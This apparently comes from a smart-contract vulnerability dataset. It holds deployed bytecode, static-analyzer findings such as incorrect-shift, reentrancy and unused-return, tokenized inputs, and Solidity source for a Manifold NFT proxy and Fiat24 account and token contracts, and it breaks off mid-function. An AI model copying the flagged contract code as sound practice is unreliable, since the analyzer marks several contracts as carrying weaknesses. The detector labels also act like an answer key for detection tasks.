b2b9b9a1b7b73a3937b61d1030b1b1b7bab73a1604d1b815260008351613f878160178501602088016142eb565b7001034b99036b4b9b9b4b733903937b6329607d1b6017918401918201528351613fb88160288401602088016142eb565b01602801949350505050565b761e17ba32bc3a1f1e3a32bc3a103c1e91189811103c9e9160491b81528151600090613ff78160178501602087016142eb565b6e111031b630b9b99e913130b9b2911f60891b6017939091019283015250602601919050565b6001600160a01b0391909116815260200190565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090613eaa90830184613ad3565b6001600160a01b03929092168252602082015260400190565b6020808252825182820181905260009190848201906040850190845b818110156140b557835183529284019291840191600101614099565b50909695505050505050565b6020815260006112366020830184613ad3565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b60208082526024908201527f536565643a20616c6c20676d34323020746f6b656e7320776572652072656465604082015263195b595960e21b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b60208082526018908201527714d959590e881c1c99481b5a5b9d081a5cc81c185d5cd95960421b604082015260600190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b604051601f8201601f191681016001600160401b0381118282101715614281576142816143c4565b604052919050565b6000821982111561429c5761429c614398565b500190565b6000826142b0576142b06143ae565b500490565b60008160001904831182151516156142cf576142cf614398565b500290565b6000828210156142e6576142e6614398565b500390565b60005b838110156143065781810151838201526020016142ee565b838111156116dd5750506000910152565b60008161432657614326614398565b506000190190565b600181811c9082168061434257607f821691505b6020821081141561436357634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561437d5761437d614398565b5060010190565b600082614393576143936143ae565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b03198116811461254057600080fdfe86024e89529ee90561d266fe70772355cdf7be9c9e97e3ac6b5d90ddbc85336522a928440597a4bd641c7e80f18a0c9a9e1139204ab57558d75cff3700a591bb4142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef3c73766720786d6c6e733d22687474703a2f2f7777772e77332e6f72672f323030302f73766722207072657365727665417370656374526174696f3d22784d696e594d696e206d656574222076696577426f783d223020302033353020333530223e3c7374796c653e2e62617365207b2066696c6c3a2077686974653b20666f6e742d66616d696c793a2073657269663b20666f6e742d73697a653a20313470783b207d3c2f7374796c653e3c726563742077696474683d223130302522206865696768743d2231303025222066696c6c3d22a26469706673582212205062a14f1cc919b45b48980c05ea6720c096f9f88c80f5a0dcaf9d90f01127be64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-shift", "impact": "High", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'tautology', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'incorrect-shift', 'impact': 'High', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'write-after-write', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 5243, 2549, 2546, 2620, 2094, 22610, 2620, 2620, 26337, 2487, 2094, 18139, 2094, 16576, 2629, 19797, 23352, 2487, 2850, 7875, 2692, 26976, 8447, 2575, 22907, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 14305, 1013, 9413, 2278, 2581, 17465, 2368, 17897, 16670, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 3229, 8663, 13181, 2140, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 8785, 1013, 3647, 18900, 2232, 1012, 14017, 1000, 1025, 12324, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,516
0x96ea892e9ef3cafa500c0e4f03538b7450bc5d84
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: Glimpses of Existence /// @author: manifold.xyz import "./ERC721Creator.sol"; //////////////// // // // // // sasd // // // // // //////////////// contract Mk is ERC721Creator { constructor() ERC721Creator("Glimpses of Existence", "Mk") {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC721Creator is Proxy { constructor(string memory name, string memory symbol) { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a; Address.functionDelegateCall( 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a, abi.encodeWithSignature("initialize(string,string)", name, symbol) ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102c260279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b6060833b6101945760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101af9190610242565b600060405180830381855af49150503d80600081146101ea576040519150601f19603f3d011682016040523d82523d6000602084013e6101ef565b606091505b50915091506101ff828286610209565b9695505050505050565b60608315610218575081610105565b8251156102285782518084602001fd5b8160405162461bcd60e51b815260040161018b919061025e565b60008251610254818460208701610291565b9190910192915050565b602081526000825180602084015261027d816040850160208701610291565b601f01601f19169190910160400192915050565b60005b838110156102ac578181015183820152602001610294565b838111156102bb576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122042e928f9ff53153df11d2a36d1bd836e34236b4d681d2a1c8363862df8c2532e64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 5243, 2620, 2683, 2475, 2063, 2683, 12879, 2509, 3540, 7011, 29345, 2278, 2692, 2063, 2549, 2546, 2692, 19481, 22025, 2497, 2581, 19961, 2692, 9818, 2629, 2094, 2620, 2549, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 1013, 1030, 2516, 1024, 12185, 2015, 1997, 4598, 1013, 1013, 1013, 1030, 3166, 1024, 19726, 1012, 1060, 2100, 2480, 12324, 1000, 1012, 1013, 9413, 2278, 2581, 17465, 16748, 8844, 1012, 14017, 1000, 1025, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 21871, 2094, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,517
0x96EB0dFBD5efbde5bC973AeBb98713EF04eb66E7
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "@openzeppelin/contracts-upgradeable/token/ERC721/ERC721PausableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol"; import "./libraries/DigitsOfUint.sol"; contract Fiat24Account is ERC721PausableUpgradeable, AccessControlUpgradeable { using DigitsOfUint for uint256; bytes32 public constant OPERATOR_ROLE = keccak256("OPERATOR_ROLE"); uint256 private constant DEFAULT_MERCHANT_RATE = 55; enum Status { Live, SoftBlocked, Invitee, Blocked, Closed } string private constant BASE_URI_METADATA = 'https://api.defi.saphirstein.com/metadata?tokenid='; string private constant URI_STATUS_PARAM = '&status='; uint8 private constant MERCHANTDIGIT = 8; uint8 private constant INTERNALDIGIT = 9; uint8 private constant MAXDIGITSACCOUNTID = 8; mapping (address => uint256) public historicOwnership; mapping (uint256 => string) public nickNames; mapping (uint256 => bool) public isMerchant; mapping (uint256 => uint256) public merchantRate; mapping (uint256 => Status) public status; uint8 public minDigitForSale; function initialize() public initializer { __Context_init_unchained(); __ERC721_init_unchained("Fiat24 Account", "Fiat24"); __AccessControl_init_unchained(); minDigitForSale = 6; _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(OPERATOR_ROLE, _msgSender()); } function mint(address _to, uint256 _tokenId, bool _isMerchant, uint256 _merchantRate) public { require(hasRole(OPERATOR_ROLE, msg.sender), "Not an operator"); require(_mintAllowed(_to, _tokenId), "mint not allowed"); require(_tokenId.numDigits() <= MAXDIGITSACCOUNTID, "Number of digits of accountId > max. digits"); _mint(_to, _tokenId); status[_tokenId] = Status.Invitee; isMerchant[_tokenId] = _isMerchant; if(_isMerchant) { nickNames[_tokenId] = string(abi.encodePacked("Merchant ", _tokenId.toString())); if(_merchantRate == 0) { merchantRate[_tokenId] = DEFAULT_MERCHANT_RATE; } else { merchantRate[_tokenId] = _merchantRate; } } else { nickNames[_tokenId] = string(abi.encodePacked("Tourist ", _tokenId.toString())); } _setTokenURI(_tokenId, string(abi.encodePacked(BASE_URI_METADATA, _tokenId.toString(), URI_STATUS_PARAM, uint256(Status.Invitee).toString()))); } function mintByClient(uint256 _tokenId) public { uint256 numDigits = _tokenId.numDigits(); require(numDigits <= MAXDIGITSACCOUNTID, "Number of digits of accountId > max. digits"); require(numDigits >= minDigitForSale, "Premium accountId cannot be mint by client"); require(!_tokenId.hasFirstDigit(INTERNALDIGIT), "Internal accountId cannot be mint by client"); require(_mintAllowed(_msgSender(), _tokenId), "Not allowed. The target address has an account or once had another account."); bool merchantAccountId = _tokenId.hasFirstDigit(MERCHANTDIGIT); _mint(_msgSender(), _tokenId); status[_tokenId] = Status.Invitee; isMerchant[_tokenId] = merchantAccountId; if(merchantAccountId) { nickNames[_tokenId] = string(abi.encodePacked("Merchant ", _tokenId.toString())); merchantRate[_tokenId] = DEFAULT_MERCHANT_RATE; } else { nickNames[_tokenId] = string(abi.encodePacked("Tourist ", _tokenId.toString())); } _setTokenURI(_tokenId, string(abi.encodePacked(BASE_URI_METADATA, _tokenId.toString(), URI_STATUS_PARAM, uint256(Status.Invitee).toString()))); } function burn(uint256 tokenId) public { require(hasRole(OPERATOR_ROLE, msg.sender), "Not an operator"); _burn(tokenId); } function transferFrom(address from, address to, uint256 tokenId) public virtual override { super.transferFrom(from, to, tokenId); if(status[tokenId] != Status.Invitee) { historicOwnership[to] = tokenId; } } function removeHistoricOwnership(address owner) public { require(hasRole(OPERATOR_ROLE, msg.sender), "Not an operator"); delete historicOwnership[owner]; } function changeClientStatus(uint256 tokenId, Status _status) public { require(hasRole(OPERATOR_ROLE, msg.sender), "Not an operator"); if(_status == Status.Live && status[tokenId] == Status.Invitee) { historicOwnership[this.ownerOf(tokenId)] = tokenId; if(!this.isMerchant(tokenId)) { nickNames[tokenId] = string(abi.encodePacked("Account ", tokenId.toString())); } } status[tokenId] = _status; _setTokenURI(tokenId, string(abi.encodePacked(BASE_URI_METADATA, tokenId.toString(), URI_STATUS_PARAM, uint256(_status).toString()))); } function setMinDigitForSale(uint8 minDigit) public { require(hasRole(OPERATOR_ROLE, msg.sender), "Not an operator"); minDigitForSale = minDigit; } function setMerchantRate(uint256 tokenId, uint256 _merchantRate) public { require(hasRole(OPERATOR_ROLE, msg.sender), "Not an operator"); merchantRate[tokenId] = _merchantRate; } function setNickname(uint256 tokenId, string memory nickname) public { require(_msgSender() == this.ownerOf(tokenId), "Not account owner"); nickNames[tokenId] = nickname; } function pause() public { require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "Not an admin"); _pause(); } function unpause() public { require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "Not an admin"); _unpause(); } function _mintAllowed(address to, uint256 tokenId) internal view returns(bool){ return (this.balanceOf(to) < 1 && (historicOwnership[to] == 0 || historicOwnership[to] == tokenId)); } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override { require(!paused(), "Account transfers suspended"); if(AddressUpgradeable.isContract(to) && (from != address(0))) { require(this.status(tokenId) == Status.Invitee, "Not allowed to transfer account"); } else { if(from != address(0) && to != address(0)) { require(balanceOf(to) < 1 && (historicOwnership[to] == 0 || historicOwnership[to] == tokenId), "Not allowed. The target address has an account or once had another account."); require(this.status(tokenId) == Status.Live || this.status(tokenId) == Status.Invitee, "Transfer not allowed in this status"); } } super._beforeTokenTransfer(from, to, tokenId); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "./Fiat24Token.sol"; contract Fiat24GBP is Fiat24Token { function initialize(address fiat24AccountProxyAddress, uint256 walkinLimit, uint256 withdrawCharge) public initializer { __Fiat24Token_init_(fiat24AccountProxyAddress, "Fiat24 GBP", "GBP24", walkinLimit, withdrawCharge); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20PausableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol"; import "./Fiat24Account.sol"; contract Fiat24Token is ERC20PausableUpgradeable, AccessControlUpgradeable { using SafeMathUpgradeable for uint256; bytes32 public constant OPERATOR_ROLE = keccak256("OPERATOR_ROLE"); uint256 internal WalkinLimit; uint256 internal WithdrawCharge; uint256 private constant MINIMALCOMMISIONFEE = 10; Fiat24Account fiat24account; function __Fiat24Token_init_(address fiat24accountProxyAddress, string memory name_, string memory symbol_, uint256 walkinLimit, uint256 withdrawCharge) internal initializer { __Context_init_unchained(); __AccessControl_init_unchained(); __ERC20_init_unchained(name_, symbol_); _setupDecimals(2); _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(OPERATOR_ROLE, _msgSender()); fiat24account = Fiat24Account(fiat24accountProxyAddress); WithdrawCharge = withdrawCharge; WalkinLimit = walkinLimit; } function mint(uint256 amount) public { require(hasRole(OPERATOR_ROLE, msg.sender), "Not an operator"); _mint(fiat24account.ownerOf(9101), amount); } function burn(uint256 amount) public { require(hasRole(OPERATOR_ROLE, msg.sender), "Not an operator"); _burn(fiat24account.ownerOf(9104), amount); } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { if(recipient == fiat24account.ownerOf(9102)) { _transfer(_msgSender(), recipient, amount.sub(WithdrawCharge, "Withdraw charge exceeds withdraw amount")); _transfer(_msgSender(), fiat24account.ownerOf(9202), WithdrawCharge); } else { if(fiat24account.balanceOf(recipient) > 0 && fiat24account.isMerchant(fiat24account.historicOwnership(recipient))) { uint256 commissionFee = amount.mul(fiat24account.merchantRate(fiat24account.historicOwnership(recipient))).div(10000); if(commissionFee >= MINIMALCOMMISIONFEE) { _transfer(_msgSender(), recipient, amount.sub(commissionFee, "Commission fee exceeds payment amount")); _transfer(_msgSender(), fiat24account.ownerOf(9201), commissionFee); } else { _transfer(_msgSender(), recipient, amount); } } else { _transfer(_msgSender(), recipient, amount); } } return true; } function transferByAccountId(uint256 recipientAccountId, uint256 amount) public returns(bool){ return transfer(fiat24account.ownerOf(recipientAccountId), amount); } function balanceOfByAccountId(uint256 accountId) public view returns(uint256) { return balanceOf(fiat24account.ownerOf(accountId)); } function tokenTransferAllowed(address from, address to, uint256 amount) public view returns(bool){ require(!fiat24account.paused(), "All account transfers are paused"); require(!paused(), "All account transfers of this currency are paused"); if(from != address(0) && to != address(0)){ if(balanceOf(from) < amount) { return false; } uint256 toAmount = amount + balanceOf(to); Fiat24Account.Status fromClientStatus; uint256 accountIdFrom = fiat24account.historicOwnership(from); if(accountIdFrom != 0) { fromClientStatus = fiat24account.status(accountIdFrom); } else { fromClientStatus = Fiat24Account.Status.Invitee; } Fiat24Account.Status toClientStatus; uint256 accountIdTo = fiat24account.historicOwnership(to); if(accountIdTo != 0) { toClientStatus = fiat24account.status(accountIdTo); } else { toClientStatus = Fiat24Account.Status.Invitee; } if((fromClientStatus == Fiat24Account.Status.Live) && (toClientStatus == Fiat24Account.Status.Live || toClientStatus == Fiat24Account.Status.SoftBlocked || (toClientStatus == Fiat24Account.Status.Invitee && toAmount <= WalkinLimit))) { return true; } else { return false; } } } function setWalkInLimit(uint256 walkinLimit) public { require(hasRole(OPERATOR_ROLE, msg.sender), "Not an operator"); WalkinLimit = walkinLimit; } function setWithdrawCharge(uint256 withdrawCharge) public { require(hasRole(OPERATOR_ROLE, msg.sender), "Not an operator"); WithdrawCharge = withdrawCharge; } function sendToSundry(address from, uint256 amount) public { require(hasRole(OPERATOR_ROLE, msg.sender), "Not an operator"); _transfer(from, fiat24account.ownerOf(9103), amount); } function pause() public { require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "Not an admin"); _pause(); } function unpause() public { require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "Not an admin"); _unpause(); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override { require(!fiat24account.paused(), "Fiat24Token: all account transfers are paused"); require(!paused(), "Fiat24Token: all account transfers of this currency are paused"); if(from != address(0) && to != address(0) && to != fiat24account.ownerOf(9103) && from != fiat24account.ownerOf(9103)){ require(tokenTransferAllowed(from, to, amount), "Fiat24Token: Transfer not allowed for various reason"); } super._beforeTokenTransfer(from, to, amount); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.5; import "@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol"; library DigitsOfUint { using SafeMathUpgradeable for uint256; function numDigits(uint256 _number) internal pure returns (uint256) { uint256 number = _number; uint256 digits = 0; while (number != 0) { number = number.div(10); digits = digits.add(1); } return digits; } function hasFirstDigit(uint256 _accountId, uint _firstDigit) internal pure returns (bool) { uint256 number = 